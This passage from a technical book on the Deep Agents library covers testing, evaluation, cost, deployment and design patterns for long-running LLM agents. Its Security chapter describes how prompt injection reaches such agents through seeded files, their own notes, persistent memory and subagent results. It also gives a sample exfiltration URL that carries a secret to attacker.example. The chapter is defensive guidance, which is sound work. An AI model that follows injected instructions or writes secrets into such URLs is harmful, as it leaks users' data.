- **Layer 1 is specific to this library: test that capabilities are enabled**, because absence is silent. `bound_tools` is the check.
- Assert the prompt's **load-bearing lines** exist — output path, permission to fail — so a tidy-up cannot delete them quietly.
- **Assert on files and todos, not prose**. Wording changes; the deliverable's existence and citations should not.
- `test_no_tool_errored` catches a run that succeeded over a broken filesystem — one of the highest-value tests here.
- Test the money failures: runaway loops and graceful caps, both free.
- **Assert known limitations too** — executable documentation that reports when the library changes.
- **When a test involving a fake fails, suspect the fake first**.
- Evaluation of whether the answer is *right* is separate, paid, and does not belong in CI.

Previous: Chapter 24 — Structuring a real project · Next: Chapter 26 — Evaluating a deep agent

Chapter 26 — Evaluating a deep agent

Chapter 25 tested mechanics. This chapter is the harder question: was the agent any *good*?

For a chain, evaluation is mostly "is the answer right". For a deep agent it is not, because the answer is the smallest part of what it produced.

Four things worth scoring

What	Question	Cost to score
Outcome	did it reach the right conclusion?	needs labels
Artefacts	is the file it wrote any good?	needs a judge or a human
Process	did it work sensibly to get there?	free
Efficiency	how many turns and tokens?	free

Two of those are free and deterministic, and almost nobody scores them. Start there.

Process metrics you already have

Everything needed is in the result:

```

out = investigate()

turns = sum(1 for m in out["messages"] if type(m).__name__ == "AIMessage")
tools = [m for m in out["messages"] if type(m).__name__ == "ToolMessage"]
errors = [m for m in tools if "Error" in str(m.content)]
files = sorted(out["files"])
todos = out.get("todos", [])
done = sum(1 for t in todos if t["status"] == "completed")

```

Scored across a set of incidents, these answer questions an outcome score cannot:

- **Did it produce the artefact at all?** A run with no `/findings.md` failed regardless of what the final message says. This is the single most useful check.
- **Did it finish its plan?** Todos still `pending` at the end means it gave up quietly.
- **Did tools error?** A rising rate means the environment drifted, not the model.
- **Did it get more expensive?** Turns per run is a regression signal that catches prompt changes making the agent wander.

None needs a label or a judge. Run them over ten recorded incidents and you have a baseline that will catch most regressions.

Outcome scoring

For `scout`, the label is the known root cause:

```
CASES = [
    ("node-3 disk", "/logs/api.log has 'no space left on device'", "disk"),
    ("node-7 registration", "403 on REGISTER", "realm mismatch"),
]
```

Score by keyword, by structured field (Chapter 15 — `root_cause` as a `Literal` makes this exact), or by a judge. **Prefer the structured field:** it turns a fuzzy comparison into an equality check, and it is free.

This is the strongest practical argument for `response_format` on an agent you intend to evaluate.

Scoring the artefact

The file is the deliverable, so it needs judging. `RubricMiddleware` grades against criteria you write:

```
from deepagents.middleware import RubricMiddleware

RubricMiddleware(model=grader_model, ...)
```

Check the signature on your installed version — it takes a `model` and criteria, and it costs a model call per grading.

Rubric criteria that work for a report:

- Does every claim carry a source?
- Are the required sections present? (Chapter 10's skill defines them.)
- Does it state what it could not determine?
- Is the stated root cause supported by the cited evidence?

Note the first three are **checkable without a model**. Citation presence is a regex. Section headings are a string match. Only the last needs judgement — so score the cheap ones deterministically and reserve the judge for the one that needs it.

That split is the practical lesson: **most rubric criteria are assertions in disguise**.

Judges, carefully

Where a judge is genuinely needed:

- **Give it the rubric and the evidence**, not just the report.
- **Calibrate against human labels** on a sample. An uncalibrated judge is a number, not a measurement.
- Judges favour longer, more confident writing — which is exactly the failure mode you are trying to detect in an agent that fabricates.
- Use scores to **compare versions**, never as absolute claims.

Building the dataset

The best source is production. When a run goes wrong, that incident goes in the set — with its seeded workspace, so it is reproducible.

Ten real incidents beat a hundred invented ones, because invented incidents have tidy logs and real ones do not.

Store the whole input: the question **and** the `files` seed. A deep agent's behaviour depends on its workspace, so a case without one is not reproducible.

Keep it out of CI

Evaluation is slow, costs money, and produces a score. Run it before releases and after prompt changes.

The exception, as with the other books: **the free process metrics belong in CI**. "Produced a file", "no tool errors", "finished the plan", "under N turns" are deterministic assertions, and they catch a surprising share of regressions.

Try it

Compute process metrics on a run — no labels, no judge:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
tools = [m for m in out['messages'] if type(m).__name__ == 'ToolMessage']
todos = out.get('todos', [])
print('turns      : ', sum(1 for m in out['messages'] if type(m).__name__ ==
'AIMessage'))
print('tool calls : ', len(tools))
print('tool errors: ', sum(1 for m in tools if 'Error' in str(m.content)))
print('produced   : ', [f for f in out['files'] if f == '/findings.md'] or
'NOTHING')
print('plan done  : ', sum(1 for t in todos if t['status'] == 'completed'), '/',
len(todos))
"
```

Then the cheap artefact checks, which need no judge:

```
uv run python -c "
import re
from examples.scout.agent import investigate
report = investigate()['files']['/findings.md']['content']
claims = [l for l in report.splitlines() if l.strip().startswith('-')]
cited = [l for l in claims if re.search(r'\[[^\]]+\]', l)]
print(f'claims: {len(claims)}, cited: {len(cited)}')
print('every claim cited:', len(claims) == len(cited))
"
```

Takeaways

- Four things to score: **outcome**, **artefact**, **process**, **efficiency**. The last two are free and deterministic — start there.
- The most useful single check is **did it produce the artefact at all**. A run with no file failed, whatever the final message claims.

- Unfinished todos mean it gave up quietly; rising tool errors mean the environment drifted; rising turns mean a prompt change made it wander.
 - For outcome scoring, **a structured response_format field turns fuzzy comparison into equality** — the strongest argument for using one.
 - RubricMiddleware grades artefacts, at a model call each. But **most rubric criteria are assertions in disguise** — citations, sections, stated unknowns are all checkable for free. Reserve the judge for judgement.
 - Calibrate judges against humans; they favour long, confident writing, which is the failure you are hunting.
 - Build the dataset from **real failed runs, with their workspace**, or the case is not reproducible.
 - Keep evaluation out of CI — **except the free process metrics**, which belong there.
-

Previous: Chapter 25 — Testing · Next: Chapter 27 — Cost and context

Chapter 27 — Cost and context

A deep agent is the most expensive shape in these five books, and the cost is structural rather than accidental: many turns, each carrying a growing transcript and a fixed block of tool definitions.

Chapter 21 covered runaway failures. This chapter is about the cost of an agent working *correctly*.

The fixed cost, measured

The harness's tool definitions, per call:

ls	345 chars	read_file	1685 chars
write_file	622 chars	edit_file	1012 chars
delete	512 chars	glob	1526 chars
grep	2254 chars	task	1700 chars
TOTAL	9656 chars	(~2414 tokens, on every call)	

For one `scout` run:

```
6 model turns
~2414 tokens x 6 turns = ~14484 tokens of overhead
```

Fourteen thousand tokens of machinery for a six-turn investigation, before any content.

Add your own tools and a `response_format` schema on top, and note it is charged again inside every subagent — a subagent call is a fresh agent with the full block.

When that is worth paying

The overhead is **linear in turns**. The alternative — everything in the transcript — is **quadratic in work**.

So the arithmetic flips at a scale you can reason about:

Short tasks lose. A three-turn task pays ~7,000 tokens for a filesystem it barely uses. Chapter 1's rule, with a number: use `create_agent`.

Long tasks win, decisively. Four log files read and re-sent across forty turns is far more than $2,400 \times 40$. The harness's whole value is converting a quadratic into a linear.

The break-even is roughly where the material the agent must consult exceeds what you are happy re-sending every turn. In practice: **if the agent reads files, it wants the harness; if it only calls APIs and returns short results, it does not.**

Where the money goes

In order:

- 1. The transcript, re-sent every turn.** Quadratic, and the thing the filesystem exists to prevent — but only if the agent uses it. An agent that `read_files` whole logs has the cost *and* the overhead.
- 2. Tool definitions.** ~2,400 per turn, fixed, plus yours.

3. Subagent calls. Each pays the full block again. Chapter 9's rule: delegate for large context savings, not tidiness.

4. Reading too much. One 50 KB log read is 50 KB in every subsequent turn.

5. Summarisation. A model call to save later calls.

The levers, in order

Read less. `grep` before `read_file; offset/limit`; delegate the big reads. Prompting (Chapter 12) is cheaper than any middleware here, because a token never read is never re-sent.

Delegate the bulky. Measured in Chapter 9: the subagent's context did not join the parent's.

A small model for subagents. Chapter 17. Subagent turns are often the majority, and their briefs are narrow.

Cap turns. `ModelCallLimitMiddleware(run_limit=30)`. A wandering agent is a linear cost in turns and a quadratic one in transcript.

Summarise, last. It costs a call and loses detail; do it when the run genuinely is long.

Trim the toolset. You cannot remove the built-ins — but you can avoid adding twelve of your own. Every tool is in every call, and `LLMToolSelectorMiddleware` exists for when there are too many.

Measuring it

Token counts are on the message:

```
sum((m.usage_metadata or {}).get("total_tokens", 0)
    for m in result["messages"] if hasattr(m, "usage_metadata"))
```

Two habits:

- **Track cost per run, not per token.** A cheaper model that needs twice the turns is not cheaper.
- **Track turns as the leading indicator.** Tokens follow turns, and turns are visible earlier — you can stop a run at turn fifty; you cannot un-spend the tokens.

`scout`'s scripted model returns fixed counts (100 in, 20 out) precisely so this arithmetic is reproducible offline.

An illustrative comparison

An investigation agent over 1,000 incidents a month, at roughly \$3 per million input tokens:

Approach	Turns	Input tokens/incident	Monthly
No filesystem, everything in transcript	12	~180,000	~\$540
Harness, agent reads whole files	12	~90,000	~\$270
Harness, <code>grep</code> -then-read, big reads delegated	10	~40,000	~\$120
Plus a small model for subagents	10	~40,000	~\$70

The token counts are illustrative — your incidents are not these incidents. **The ratios are the point**, and the two largest levers are *how much the agent reads* and *which model does the reading*. Neither is a library feature; both are available on day one.

Try it

Measure the overhead against the content on a real run:

```
uv run python -c "
from examples.scout.agent import investigate
out = investigate()
turns = sum(1 for m in out['messages'] if type(m).__name__ == 'AIMessage')
content = sum(len(str(m.content)) for m in out['messages'])
print(f'{turns} turns')
print(f'overhead : ~{2414*turns} tokens of tool definitions')
print(f'content   : ~{content//4} tokens of transcript')
"
```

Then find the expensive tool results — the ones re-sent on every later turn:

```
uv run python -c "
from examples.scout.agent import investigate
for m in investigate()['messages']:
    if type(m).__name__ == 'ToolMessage':
        n = len(str(m.content))
        print(f'{n:5} chars{"    <- re-sent every later turn" if n > 400 else
          "\n"}')
"
```

Takeaways

- Measured: **~2,414 tokens of tool definitions per call**, ~14,500 for a six-turn run, before any content — and charged again inside every subagent.
- The overhead is **linear in turns**; the alternative is **quadratic in work**. That is the whole trade.
- **If the agent reads files, the harness pays for itself. If it only calls APIs and returns short results, it does not.**
- Cost order: the re-sent transcript, tool definitions, subagent calls, over-reading, summarisation.
- Levers in order: **read less, delegate the bulky, a small model for subagents, cap turns**, summarise last, and do not add twelve tools of your own.
- Track **cost per run**, and **turns as the leading indicator** — you can stop a run, you cannot un-spend tokens.
- The two biggest levers are how much the agent reads and which model reads it.

Previous: Chapter 26 — Evaluating a deep agent · Next: Chapter 28 — Security

Chapter 28 — Security

A deep agent reads files, writes files, spawns other agents, and follows instructions from whatever it reads. That is a broader attack surface than anything else in these five books, and one option in Chapter 8 hands a language model write access to your disk.

The sharpest edge first

```
FilesystemBackend(root_dir=".", virtual_mode=True)
```

This looks cautious and is not. Measured in Chapter 8:

```
virtual_mode=True -> file on real disk? True
```

`virtual_mode` **constrains paths, not access**. It blocks `..` and escapes from `root_dir`; it does not stop the agent overwriting everything inside `root_dir`. The library's own docstring says so: *"it does not provide sandboxing or process isolation."*

If files should never touch your disk, use `StateBackend` — the default. If the agent genuinely must edit real files:

- Point `root_dir` at a **scratch directory**, never a source tree or a home directory.
- Require **approval on** `write_file`, `edit_file` **and** `delete` (Chapter 13).
- Treat it as you would `exec`, because in effect it is.

Prompt injection reaches further here

Injection attacks a *decision*, and no prompt reliably prevents it. What is specific to deep agents is how many things the model reads:

Seeded files. Logs, tickets, uploaded documents. If a user can influence a log line, they can put instructions in it — and it arrives with the authority of your own workspace.

Files the agent wrote earlier. An agent that summarised a hostile document into `/notes.md` and re-reads it later has laundered the injection into its own note.

Long-term memory. Worse: an injection written to `StoreBackend` persists **across sessions**, and every future run reads it as established fact. This is the most damaging version, because it is invisible and compounding.

Subagent results. A subagent that read hostile content returns a sentence the parent trusts.

The defence is not prompting. It is that **nothing the agent can do should be dangerous**:

- Narrow tools (Chapter 14).
- Tenant scope closed over from context, never a model argument.
- Approval or refusal on irreversible actions.
- A backend that cannot reach anything precious.

Memory needs review

Chapter 11's rule, restated as a security control: **prefer writing long-term memory from deterministic code.**

An agent that writes its own conclusions to a durable namespace will read them back as fact. If one of those conclusions came from an injected instruction, you have persistent compromise that survives your deployment.

If the agent must write memory:

- Constrain it to a path your code reviews before promoting.
- Timestamp it, so staleness is visible.
- Be able to inspect and delete it per user.

Tenant isolation

Two boundaries, and both must hold.

The store namespace (Chapter 11):

```
StoreBackend(namespace=lambda rt: ("memories", rt.context.user_id))
```

From **context**, never from state or a tool argument. State can be influenced by model output and user input; a namespace built from it is a traversal waiting to happen. Put the tenant in the tuple, not the filename.

The backend routing (Chapter 8). `CompositeBackend` routes are a structural boundary — if only `/repo/` maps to disk, nothing written elsewhere can escape, regardless of what any rule forgets. Prefer structure over checks.

Test it: run as tenant A, assert nothing of tenant B's is reachable.

Subagents inherit less than you think

Useful for security: a subagent gets the tools **you** give it. Keeping a dangerous tool out of the parent and giving it only to a narrowly-briefed subagent limits when it can be reached.

But note skills are **not** inherited (Chapter 10), so a subagent will not have the safety instructions in your skills unless you pass them. A subagent briefed to "clean up the workspace" without the parent's constraints is a real hazard.

What leaves your infrastructure

Everything the model sees goes to the provider: the question, **every file the agent reads**, tool results, and the system prompt. For a deep agent that is potentially your whole workspace.

Two consequences. Seeding a document means sending it. And an agent with `FilesystemBackend` over a source tree can send your source to a third party by reading it — which is the quiet version of the disk-access risk.

Tracing (Chapter 22) sends prompts to another service too.

Output is untrusted

The report is model output. Do not render it as HTML unescaped, execute it, or follow URLs it produces. A model persuaded to write `https://attacker.example/?d=<secret>` into a report your dashboard auto-links is an exfiltration path.

A checklist

- [] Backend is `StateBackend` unless real files are genuinely required.
- [] If `FilesystemBackend: scratch root_dir`, approval on writes, never a source tree.
- [] **You have not mistaken `virtual_mode=True` for a sandbox.**
- [] Tenant scope from **context**, in the store **namespace tuple**.
- [] `CompositeBackend` routing used as a structural boundary.
- [] Long-term memory written by code, or reviewed before promotion.
- [] Irreversible actions blocked or human-approved.
- [] Subagents given the skills and constraints they need — nothing is inherited.
- [] `recursion_limit` and a call limit set (a runaway is a denial-of-wallet attack).
- [] Seeded and retrieved content treated as untrusted instructions.
- [] You know what leaves your infrastructure, including everything the agent reads.
- [] Model output escaped before rendering, never executed.

Try it

Confirm the default keeps files off your disk, and that `virtual_mode` does not:

```
uv run python -c "
import tempfile, pathlib
from deepagents import create_deep_agent
from deepagents.backends import FilesystemBackend
from examples.scout.fakes import ScriptedModel

def probe(backend=None):
    m = ScriptedModel(script=[{'text': 'x', 'tool_calls':
[{'name': 'write_file', 'args': {'file_path': '/new.txt', 'content': 'AGENT WROTE
THIS'}}]}, 'done'])
    kw = {'backend': backend} if backend else {}
    return create_deep_agent(model=m, **kw).invoke({'messages':
[{'role': 'user', 'content': 'go'}]})

print('StateBackend (default) -> in state:', sorted(probe()['files']))
d = tempfile.mkdtemp()
probe(FilesystemBackend(root_dir=d, virtual_mode=True))
print('FilesystemBackend(virtual_mode=True) -> on disk:',
(pathlib.Path(d)/'new.txt').exists())
"
```

Takeaways

- `virtual_mode=True` **is not a sandbox**. It constrains paths and still writes to disk. Use `StateBackend` for files that must not touch disk.
 - With `FilesystemBackend`: scratch directory, approval on writes, treat it as `exec`.
 - Injection reaches further here — seeded files, the agent's own notes, **long-term memory** (which persists across sessions), and subagent results.
 - Defend structurally: narrow tools, scope from context, approval on the irreversible, and a backend that cannot reach anything precious.
 - **Prefer writing long-term memory from deterministic code**. Agent-written memory is read back as fact, including anything injected into it.
 - Tenant isolation is the **store namespace** (from context, in the tuple) and **backend routing** (structural). Test it.
 - Subagents inherit tools you give them and **do not inherit skills** — including your safety instructions.
 - Everything the agent reads goes to the provider. An agent with disk access can exfiltrate by reading.
 - Model output is untrusted: escape it, never execute it, and be careful with URLs it writes.
-

Previous: Chapter 27 — Cost and context · Next: Chapter 29 — Deployment

Chapter 29 — Deployment

A deep agent runs for minutes, writes files, and may pause for a human. None of those fit a synchronous HTTP request, so deployment is mostly about accepting that it is a **job**, not a call.

It is a job

```
@app.post("/investigate")
async def start(req: Request):
    thread_id = f"incident-{req.incident_id}"
    queue.enqueue(run_investigation, thread_id, req.question)
    return {"thread_id": thread_id, "status": "running"}

@app.get("/investigate/{thread_id}")
async def poll(thread_id: str):
    snap = app.state.agent.get_state({"configurable": {"thread_id": thread_id}})
    return {
        "status": "paused" if snap.interrupts else ("running" if snap.next else "done"),
        "progress": snap.values.get("todos", []),
        "files": sorted(snap.values.get("files", {})),
    }
```

Two things this gets right beyond being async. The **poll endpoint reads state directly** — no bookkeeping of your own, because the checkpointer already has it. And it returns **progress**, which for a minutes-long agent is what a caller actually wants (Chapter 22).

The three storage decisions

	Development	Production
Checkpointer	InMemorySaver	Postgres
Store (if used)	InMemoryStore	Postgres
Backend	StateBackend	StateBackend, or CompositeBackend routing durable paths

The moment you run two workers, in-memory anything is wrong. A job started on worker 1 and polled on worker 2 finds nothing; an approval issued to worker 3 cannot resume a thread worker 1 paused.

Remember `await checkpointer.setup()` at startup to create the tables.

Resuming after a crash

The payoff for having a checkpointer. A crashed run is not lost:

```
snap = agent.get_state(config)
if snap.next and not snap.interrupts:
    agent.invoke(None, config)      # continue from where it stopped
```

`invoke(None, config)` means "no new input, resume". This is LangGraph's (Chapter 5), and it matters more here than anywhere else in these books: a deep agent forty turns into an investigation represents real money, and restarting from scratch spends it again.

A sweeper over threads with a non-empty `next`, no pending interrupt, and no recent activity is a small amount of code and is what makes durability operational rather than theoretical.

Two caveats. Nodes must be **idempotent** — a resumed superstep re-runs in full, so a tool that sends email needs a guard. And a resumed thread runs against **today's code**.

The deploy hazard

A thread paused for approval on Monday resumes on Wednesday, against Wednesday's code. The checkpoint holds state, not your agent.

Specific to this layer:

- **Renaming a subagent** breaks threads mid-delegation.
- **Changing the state schema** breaks threads mid-flight.
- **Changing the system prompt** silently changes behaviour halfway through an investigation — the first half was done under different instructions.
- **Removing a tool** the agent was about to call.

None is reported as a deploy failure. It shows up as a few stuck or strange threads a day later.

Working with it: treat subagent names and the state schema as a public interface; drain in-flight threads before structural changes; and for a genuinely incompatible change, run the new version alongside and let the old drain.

Where files go

The question the other books do not have. `result["files"]` is the deliverable, and it lives in the checkpoint by default — which is fine for a report and wrong for anything large or long-lived.

Decide explicitly:

- **Keep in state** — simple, and every file is in every checkpoint (Chapter 27).
- **Extract on completion** — read `result["files"]` and write to object storage. Usually right for artefacts anyone will look at later.
- **Route durable paths to a Store** — `CompositeBackend`, so `/memories/` persists and scratch does not (Chapter 11).

Whatever you choose, **prune finished threads**. Checkpoints accumulate per superstep, per thread, forever, and a deep agent produces many supersteps. This is both a cost control and a privacy one, and it is the operational task most often missing.

An operational checklist

- [] Postgres checkpointer, with `setup()` called at startup.
- [] Agent built **once** at startup, not per request.
- [] `recursion_limit` and a call limit at every invoke site (Chapter 21).
- [] Runs as jobs with a `thread_id`, not synchronous requests.
- [] A poll endpoint reading `get_state` — status, todos, files.
- [] A sweeper for crashed threads (non-empty `next`, no interrupt).
- [] A monitor for interrupt age, if using approval.
- [] Artefacts extracted or routed deliberately; **checkpoint retention policy**.
- [] Subagent names and state schema reviewed for live-thread compatibility.
- [] Backend and `root_dir` reviewed as a security boundary (Chapter 28).

Try it

Poll a run the way a deployment would:

```
uv run python -c "
from langgraph.checkpoint.memory import InMemorySaver
from examples.scout.agent import build
from examples.scout.workspace import seed

agent = build(checkpointer=InMemorySaver())
cfg = {'configurable': {'thread_id': 'incident-4471'}}
agent.invoke({'messages': [{'role': 'user', 'content': 'why did node-3 fail?'}],
             'files': seed(),
             cfg, })

snap = agent.get_state(cfg)
print('status  :', 'paused' if snap.interrupts else ('running' if snap.next else 'done'))
print('progress:', [t['status'] for t in snap.values.get('todos', [])])
print('files   :', sorted(snap.values.get('files', {})))
"
```

Everything a status endpoint needs, from the checkpointer, without you storing anything.

Takeaways

- A deep agent is a **job**, not a request. Return a `thread_id`; let the caller poll.
- **The poll endpoint reads `get_state` directly** — status, todos and files are already there, so keep no bookkeeping of your own.
- **Two workers means Postgres**. In-memory checkpointers break polling, approval and resume.
- `invoke(None, config)` resumes a crashed run — worth more here than anywhere, since forty turns is real money. Needs idempotent tools.
- **Resumed threads run against today's code**. Renaming a subagent, changing the state schema or editing the system prompt all break or silently alter in-flight threads.

- Decide where artefacts live — state, object storage, or a routed Store — and **prune finished threads**. Deep agents produce many checkpoints.

Previous: Chapter 28 — Security · Next: Chapter 30 — Patterns

Chapter 30 — Patterns

Six shapes cover most deep agent applications. Each is configuration you have already seen; the value is knowing which one a problem wants.

1. The investigator

Read a lot, conclude briefly, write a report. `scout`.

```
seed workspace -> plan -> grep/read -> check tools -> write /findings.md
```

Use when: the input is documents and the output is a judgement.

Cost: turns proportional to the material. This is the archetype the harness was built for, and the one where its overhead most clearly pays.

2. The producer

Write an artefact — a document, a migration, a set of files — refining as it goes.

Use when: the deliverable is the files, not the answer.

Cost: similar, plus the risk that it declares success without producing anything. Chapter 26's first check — *did it produce the artefact at all* — matters most here.

Needs: a named output path, and `edit_file` rather than repeated `write_file`.

3. Orchestrator with specialists

A parent that plans and delegates; subagents that grind.

```
parent (large model) -> task -> [log-reader, config-checker] (small model)
```

Use when: subtasks produce a lot of context and small answers (Chapter 9).

Cost: a model call per delegation, each paying the full ~2,400-token tool block. Real savings on bulky subtasks; a loss on small ones.

The failure: hierarchy for its own sake. One level is usually right; three means the design got away from you.

4. The long conversation

An assistant with memory across sessions, files that persist, and a growing understanding of a project.

```
CompositeBackend(default=StateBackend(), routes={"/memories/": StoreBackend(...)})
```

Use when: the same user returns and continuity is the value.

Cost: memory hygiene becomes a real job — contradictions, staleness, deletion (Chapter 11), and injection that persists across sessions (Chapter 28).

5. The supervised operator

An agent that acts on the world, with approval before anything irreversible.

```
interrupt_on={"write_file": True, "delete": True} + checkpointer
```

Use when: the agent changes real things.

Cost: a human in the loop, which is a product problem before it is a technical one. Ask rarely, send evidence, offer edit (Chapter 13).

6. The one-shot with files

Not really a deep agent: a single task where the input happens to be documents. Seed files, let it read, take the answer.

Use when: you want the filesystem's context handling without long-running behaviour.

Cost: the fixed ~2,400 tokens. Worth it if the documents are large; otherwise use `create_agent`.

Choosing

Signal	Pattern
A few turns, no documents	not a deep agent — <code>create_agent</code>
Large documents, one answer	One-shot with files
Documents in, judgement out	Investigator
Files are the deliverable	Producer
Bulky independent subtasks	Orchestrator with specialists
Continuity across sessions	Long conversation
Changes real things	Supervised operator
Control flow you define	LangGraph (Chapter 31)

Read top to bottom, stop at the first match. The order is by cost and predictability.

Patterns compose: a supervised investigator with specialists and memory is a normal design, and it is also four capabilities to debug at once — add them one at a time, and add each only when you can name what it fixed.

Two anti-shapes worth naming

The agent that could have been a chain. If the steps are known — retrieve, summarise, write — that is a chain in `LangChain`. You are paying for a model to rediscover a sequence you already know.

The hierarchy. Agents delegating to agents delegating to agents. Every level is a model call, context is lost at each boundary, and debugging spans several transcripts none of which contains the whole story.

Try it

Compare an investigator with a plain agent on the same question:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents import create_agent
from examples.scout.fakes import ScriptedModel

deep = ScriptedModel(script=['done']); plain = ScriptedModel(script=['done'])
create_deep_agent(model=deep).invoke({'messages': [{'role': 'user', 'content': 'hi'}]})
create_agent(plain, tools=[]).invoke({'messages': [{'role': 'user', 'content': 'hi'}]})
print('deep agent tools:', len(deep.bound_tools), deep.bound_tools)
print('plain agent tools:', len(plain.bound_tools), plain.bound_tools or 'none')
"
```

Eight tools versus none. On a task with no documents, that is pure overhead; on one with four log files, it is the reason the run finishes.

Takeaways

- Six shapes: **investigator, producer, orchestrator with specialists, long conversation, supervised operator, one-shot with files.**
- Choose the first match in the cost-ordered list, not the most interesting one.
- The investigator is the archetype — documents in, judgement out — and where the harness's overhead most clearly pays.
- For the producer, the critical check is **did it produce the artefact at all.**
- Delegation pays on **bulky** subtasks and loses on small ones. **One level of hierarchy is usually right; three means the design got away from you.**
- Continuity across sessions makes memory hygiene a real job, including persistent injection.
- Patterns compose, but add capabilities one at a time and only when you can name what each fixed.
- Two anti-shapes: **the agent that should have been a chain**, and **the hierarchy.**

Previous: Chapter 29 — Deployment · Next: Chapter 31 — Deep Agents, LangChain and LangGraph

Chapter 31 — Deep Agents, LangChain and LangGraph

Three libraries, one stack, and the question that decides your architecture: **which layer should you be writing?**

The stack

```
graph TD
    A["Your application"] --> DA["<b>Deep Agents</b> – the harness: files, planning, subagents, skills"]
    DA --> LC["LangChain – models, tools, prompts, retrieval, create_agent"]
    LC --> LG["LangGraph – the runtime: state, durability, control flow"]
    LG --> P["Providers"]
```

Chapter 5 proved the bottom of it: `create_deep_agent()` returns a `LangGraph CompiledStateGraph`, with `model` and `tools` nodes and harness middleware attached. Measured against a bare `LangChain` agent:

```
create_agent      nodes: ['__start__', 'model', '__end__']
create_deep_agent nodes: ['__start__', 'model', 'tools',
                          'PatchToolCallsMiddleware.before_agent', '__end__']
```

Same object, more middleware.

Deep Agents and LangGraph are not a sequence

The most common misreading. `LangChain` → `LangGraph` is a progression: components, then the runtime beneath them. Deep Agents is **not** the next step after `LangGraph`.

They are **alternatives at the same decision point**:

Deep Agents is a ready-made harness. LangGraph is control flow you design.

Both sit on `LangChain`. Choosing between them is choosing whether the shape of your work is *already the harness's shape*.

Your work is	Use
Long, document-heavy, open-ended	Deep Agents — the harness fits
A specific graph: branch here, loop there, fan out	LangGraph — design it
A short loop with fixed tools	LangChain <code>create_agent</code>
Both — a harness inside a workflow	compose them

Which layer, by symptom

Use LangChain if your task finishes in a few turns and the steps are known. The harness's ~2,400 tokens per call buy nothing (Chapter 27).

Use Deep Agents if the work is long, the input is documents, and the context is the problem. That is the specific ailment it cures.

Use LangGraph if you find yourself wanting:

- **A shape the harness does not have.** Branching on a condition, a bounded retry loop, fan-out over a runtime-determined number of items with merged results.
- **To remove the built-ins.** You cannot; they are always present (Chapter 14).
- **Different tool names or semantics.** Fixed.
- **Deterministic steps between model calls.** A harness turn is always a model call; a graph node need not be.
- **Precise pause points.** `interrupt_on` gates tools; `interrupt()` in a graph pauses anywhere you choose.

The signal in one line: **if you are fighting the harness's opinions, you want the layer that has none.**

Composing them

Not a rewrite, because a deep agent is a graph node:

```
builder = StateGraph(State)
builder.add_node("triage", classify)
# deterministic, no model
builder.add_node("investigate", create_deep_agent(model=model, tools=TOOLS))
builder.add_node("notify", send_summary)
builder.add_edge(START, "triage")
builder.add_conditional_edges("triage", route, ["investigate", "notify"])
```

Deterministic routing, a harness for the open-ended middle, deterministic follow-up. This is usually the right production shape once a system is more than one agent: **the harness for the part that genuinely needs it, a graph for the part you already understand.**

And the reverse composes too — a graph can be wrapped as a tool, and a deep agent can call it.

One caution from the companion book: `messages` uses a reducer, so nesting an agent in a graph that also writes `messages` has a double-counting trap. Read its subgraph chapter first.

Where to look when something breaks

The most useful habit in this book, restated:

Mentions	Library
<code>InvalidUpdateError</code> , <code>GraphRecursionError</code> , <code>checkpointer</code> , <code>thread</code> , <code>interrupt</code> , <code>superstep</code>	LangGraph
tool schemas, <code>parse_docstring</code> , <code>response_format</code> , <code>middleware</code> , model construction	LangChain
backends, skills, subagents, <code>write_todos</code> , the filesystem tools	Deep Agents

Deep Agents' documentation will not explain `GraphRecursionError`, because it is not theirs. Two layers down is where the answer is.

What you give up by going down a layer

Being fair to the harness:

Writing the graph yourself means writing — and then maintaining — planning, a virtual filesystem, subagent spawning with context isolation, skills, and memory. That is the month Chapter 1 mentioned. The harness is opinionated because opinions are what let it be ready-made.

So the honest order is: **start at LangChain, move to Deep Agents when context becomes the problem, and drop to LangGraph only for the parts whose shape you need to control.** Most systems end up using all three, in different places.

Try it

See all three layers in one object:

```
uv run python -c "
from deepagents import create_deep_agent
from langchain.agents import create_agent
from examples.scout.fakes import ScriptedModel
from langgraph.checkpoint.memory import InMemorySaver

deep = create_deep_agent(model=ScriptedModel(script=['ok']),
checkpointer=InMemorySaver())
plain = create_agent(ScriptedModel(script=['ok']), tools=[])
print('deep  :', type(deep).__name__, list(deep.get_graph().nodes))
print('plain :', type(plain).__name__, list(plain.get_graph().nodes))
cfg = {'configurable': {'thread_id': 'x'}}
deep.invoke({'messages': [{'role': 'user', 'content': 'hi'}]}, cfg)
print('LangGraph state on a Deep Agent:', deep.get_state(cfg)._fields[:4])
"
```

A Deep Agents object, built with LangChain tools, exposing LangGraph state.

Takeaways

- Three libraries, one stack. `create_deep_agent()` returns a **LangGraph** `CompiledStateGraph` — the same object `create_agent()` returns, with more middleware.
- **Deep Agents and LangGraph are alternatives, not a sequence.** A ready-made harness versus control flow you design.
- Use LangChain for short fixed loops; **Deep Agents when the task is long and context is the problem;** LangGraph when you need a shape the harness does not have.
- **If you are fighting the harness's opinions, you want the layer that has none.**
- They compose: a deep agent is a graph node. Deterministic routing outside, harness in the middle, is the usual production shape.
- **When something breaks, identify the owning library.** Deep Agents' docs will not explain `GraphRecursionError`.
- Going down a layer means writing and maintaining planning, a filesystem, subagents, skills and memory yourself. That is what the opinions buy you.

Previous: [Chapter 30 — Patterns](#) · Next: [Chapter 32 — Anti-patterns](#)

Chapter 32 — Anti-patterns

Things that look reasonable and are not, each with the reason and the fix. Most were measured earlier in this book.

Choosing the layer

Using a deep agent for a short task

Why it hurts: ~2,400 tokens of tool definitions on every call for machinery it does not use. A three-turn task pays ~7,000 tokens for a filesystem it never opens.

Fix: `create_agent`. Reach for the harness when the task is long and context is the problem.

Using a deep agent when the steps are known

Why it hurts: you pay a model to rediscover a sequence you already know, and lose predictability.

Fix: a chain, or a LangGraph graph (Chapter 31).

Fighting the harness's opinions

Why it hurts: you cannot remove the built-in middleware, rename its tools, or change the loop's shape. Effort spent here is wasted.

Fix: write a graph. Or compose — harness for the open-ended part, graph around it.

Building a hierarchy of agents

Why it hurts: every level is a model call, context is lost at each boundary, and debugging spans transcripts none of which tells the whole story.

Fix: one level of delegation. Three means the design got away from you.

Configuration that silently does nothing

Expecting planning by default

Why it hurts: `write_todos` is not enabled in 0.7.11, despite what nearly everything written about Deep Agents says. The agent works, never plans, and loses the thread on long tasks.

Fix: `middleware=[TodoListMiddleware()]`, and a test asserting it (Chapter 25).

`skills=[...]` with no backend

Why it hurts: builds without error; the skill never appears in the system prompt.

Fix: a backend that can read them. Verify the skill's name is in the prompt.

No checkpointer

Why it hurts: files vanish between invocations — measured, `run2 files: []` — and approval cannot resume.

